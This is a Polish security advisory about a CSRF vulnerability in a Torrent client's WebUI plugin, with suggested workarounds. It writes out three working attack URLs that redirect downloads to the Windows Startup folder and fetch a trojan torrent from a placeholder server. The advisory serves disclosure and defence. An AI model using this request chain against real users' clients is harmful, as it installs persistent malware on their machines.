Atak CSRF polega na tym, że witryny zawierające spreparowane odnośniki w postaci kodu JavaScript lub umieszczone w znacznikach uzyskują dostęp do innych stron, a tam, korzystając z danych dostępowych zaatakowanego użytkownika, dokonują na przykład modyfikacji ustawień konfiguracyjnych.
Problem
Do tej pory znane były głównie ataki typu CSRF, których celem była zmiana ustawień konfiguracyjnych routerów tak, aby ich użytkownicy byli przekierowywani do domeny napastnika. Jednak luka znaleziona przez Cartera umożliwia bezpośrednią instalację trojana na komputerze ofiary.
W tym przypadku atak odbywa się w kilku etapach. Pierwszy z linków zmienia ustawienia konfiguracyjne programu Torrent w taki sposób, że ten przenosi udostępniane pliki do innego katalogu:
http://localhost:14774/gui/?action=setsetting&s=dir_completed_download_flag&v=1
Następnie zmienia ścieżkę, pod którą zostają przeniesione udostępniane pliki:
http://localhost:14774/gui/?action=setsetting&s=dir_completed_download& v=?C:\Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup
Powoduje to przeniesienie pobranych plików do folderów Autostart wszystkich użytkowników systemu. Przy użyciu trzeciego odnośnika napastnik może teraz uruchomić procedurę pobierania trojana, który zostanie uruchomiony po restarcie komputera i zalogowaniu się ofiary do systemu:
http://localhost:14774/gui/?action=add-url&s=http://jakis.serwer.domena/trojan. torrent
Rozwiązanie
Nie istnieje jeszcze rozwiązanie problemu.
Obejścia
Skutecznym środkiem chroniącym przed tego rodzaju atakami CSRF może być wprowadzenie żądania podawania hasła przed każdą zmianą ustawień konfiguracyjnych albo używanie identyfikatora sesji - ten nie może być jednak przechowywany w pliku cookie, gdyż wtedy będzie nieprzydatny.
Użytkownicy wtyczki WebUI dla programu Torrent powinni przynajmniej zmienić standardowy port nasłuchu interfejsu WWW. Co więcej, po każdorazowej modyfikacji ustawień należy natychmiast wylogować się z WebUI. Najbezpieczniejszym rozwiązaniem będzie jednak całkowita rezygnacja z używania wspomnianej wtyczki do czasu opublikowania jego poprawionej wersji.
